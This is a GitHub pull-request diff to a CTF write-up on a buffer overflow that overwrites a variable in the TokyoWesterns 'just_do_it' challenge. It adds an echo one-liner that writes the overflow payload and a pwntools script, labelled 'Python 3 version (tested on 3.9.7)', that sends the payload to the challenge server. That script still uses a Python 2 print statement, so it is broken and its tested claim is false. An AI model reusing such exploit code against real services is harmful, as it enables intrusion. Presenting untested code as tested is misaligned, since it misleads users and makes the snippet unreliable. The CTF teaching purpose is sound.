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Add python3 example and update payload test code #59

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Add python3 example and update payload test code #59

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25 changes: 25 additions & 0 deletions modules/04-bof_variable/tw17_justdoit/readme.md
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Original file line number Diff line number Diff line change
Expand Up @@ -152,6 +152,11 @@ Input the password.
flag{gottem_boyz}
```

This code depends on python version and in some cases doesn't work. If it didn't work for you, try this one:
```
echo -n -e '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\xa0\x04\x08' > ./just_do_it-56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa
```

So we were able to read the contents of `flag.txt` with our exploit. Let's write an exploit to use the same exploit against the server they have with the challenge running to get the flag. Here is the python code:

```
Expand All @@ -174,6 +179,26 @@ target.sendline(payload)
target.interactive()
```

```
# Python 3 version (tested on 3.9.7)
from pwn import *

#Create the remote connection to the challenge
target = remote('pwn1.chal.ctf.westerns.tokyo', 12482)

#Print out the starting prompt
print target.recvuntil("password.\n")

#Create the payload
payload = b'\x00' * 20 + b'\x80\xa0\x04\x08'

#Send the payload
target.sendline(payload)

#Drop to an interactive shell, so we can read everything the server prints out
target.interactive()
```

Now let's run it:

```
Expand Down